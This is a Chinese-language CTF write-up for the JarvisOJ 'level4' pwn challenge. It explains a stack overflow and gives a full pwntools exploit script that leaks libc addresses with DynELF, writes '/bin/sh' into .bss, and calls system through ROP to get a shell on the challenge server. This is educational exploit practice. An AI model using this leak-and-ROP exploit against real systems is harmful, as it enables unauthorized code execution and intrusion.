Writeup of level4(Pwn) in JarvisOJ

原创

C0ss4ck 于 2018-02-16 17:01:47 发布 1174 收藏
分类专栏： PWN_of_CTF 文章标签： CTF pwn 函数 栈 ROP

大年初一浅浅地学了个leak?

0x00 What is DynELF?

pwntool-DynELF

详见官方文档咯~

0x01 checksec

```
root@kali:~/Desktop/Pwn/level4# checksec level4
[*] '/root/Desktop/Pwn/level4/level4'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
```

没有canary没有地址随机化而且栈不可执行，当然是来一发愉快的栈溢出（后来证明不止一发233333）

0x02 exp logic

扔进IDA，看伪代码（该elf中没有system没有bin/sh甚至连libc也没有）

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
  vulnerable_function();
  write(1, "Hello, World!\n", 0xEu);
  return 0;
}
```

```
ssize_t vulnerable_function()
{
  char buf; // [sp+0h] [bp-88h]@1

  return read(0, &buf, 0x100u);
}
```

这可咋整啊？当然是leak啦（其实就是换一种方法获取system的真实地址）然后再想着法子把/bin/sh给写到bss或者data里（为什么不写到栈里呢？应该是因为退出vulnerable_function之后它所在的栈就被销毁了，此时system就无法执行'/bin/sh'了Orz）

0x03 exp script

先上脚本

```
from pwn import *
r=remote('pwn2.jarvisoj.com',9880)
elf=ELF('./level4')
plt_write=elf.plt['write']
plt_read=elf.plt['read']
#true_address?
vuladr=elf.symbols['vulnerable_function']
bssadr=elf.symbols['__bss_start']
#elf.bss() elf.symbols['__data_start'] also can be used

def leak(address):
 payload1='A'*(0x88+0x4)+p32(plt_write)+p32(vuladr)+p32(0x1)+p32(address)+p32(0x4)
 r.send(payload1)
 leak_address=r.recv(4)
 return leak_address

#leak critical functions' addresses
d=DynELF(leak,elf=ELF('./level4'))
sysadr=d.lookup('system','libc')
xitadr=d.lookup('exit','libc')

#read '/bin/sh' in bss segment
payload2='A'*(0x88+0x4)+p32(plt_read)+p32(vuladr)+p32(0x0)+p32(bssadr)+p32(0x8)
r.send(payload2)
r.send('/bin/sh\x00')

#pwn it!
payload3='A'*(0x88+0x4)+p32(sysadr)+p32(xitadr)+p32(bssadr)
r.send(payload3)

r.interactive()
```

这里有几点要注意，比如给write和read传参，首先得确定各个参数都得传些什么值，比如write和read的args列表都是(文件描述符,指向的缓冲区,写入内容大小)；还有，比如我给read传参之后，指定了缓冲区地址，接下来就只需要再次send达到在bss段首输入'/bin/sh'的效果(切记！不能忘记截断符'\x00')

0x04 Notes

成功pwn下来之后又去看了看其他wp，发现还有大师傅用了ROPgadgets，码下来码下来

某位大师傅用ROPgadgets的例子

开源的ROPgadgets